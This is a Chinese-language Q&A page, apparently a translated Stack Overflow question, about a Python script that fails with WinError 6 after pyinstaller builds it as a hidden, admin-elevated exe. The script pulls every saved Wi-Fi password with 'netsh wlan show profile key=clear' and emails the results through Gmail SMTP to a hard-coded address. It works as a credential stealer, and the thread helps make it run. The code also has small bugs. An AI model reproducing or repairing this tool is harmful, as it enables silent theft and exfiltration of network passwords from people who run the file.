【发布时间】:2021-12-17 15:55:16
【问题描述】:
Traceback (most recent call last):
File "main.py", line 6, in <module>
File "subprocess.py", line 424, in check_output
File "subprocess.py", line 505, in run
File "subprocess.py", line 829, in __init__
File "subprocess.py", line 1252, in _get_handles
OSError: [WinError 6] The handle is invalid
我的 exe 代码是:
import subprocess
import smtplib
import re
command1 = "netsh wlan show profile"
networks = subprocess.check_output(command1, shell=True)
network_list = re.findall('(?:Profile\s*:\s)(.*)', networks)
final_output = ""
for network in network_list:
command2 = "netsh wlan show profile " + network + "key=clear"
one_network_result = subprocess.check_output(command2, shell=True)
final_output += one_network_result
subprocess._cleanup()
server = smtplib.smtp("smtp.gmail.com", 587)
server.starttls()
server.login("stackoverflowtest@gmail.com", "pleaseplease")
server.sendmail("stackoverflowtest@gmail.com","stackoverflowtest@gmail.com",final_output)
server.quit()
quit()
我正在尝试测试如何自动化和恢复 wifi 密码,但是当我单击 .exe (python) 文件时出现错误。请帮忙。
我使用了 pyinstaller,比如 pyinstaller --uac-admin --onefile --noconsole {filename}.py
【问题讨论】:
-
不清楚单击 .exe 文件是什么意思。除了运行解释器的
python.exe文件之外,没有其他涉及。不带参数运行解释器将打开一个 python 控制台。如果将文件名作为参数给出,则假定它是 Python 脚本的名称(它们是具有 .py 扩展名的文本文件)。只需单击python.exe不会产生您的问题中显示的 Traceback。 -
我使用了 pyinstaller,比如 pyinstaller --uac-admin --onefile --noconsole {filename}
-
你能帮忙吗?
-
脚本工作不转成exe吗?
-
是的,它确实有效
标签: python windows subprocess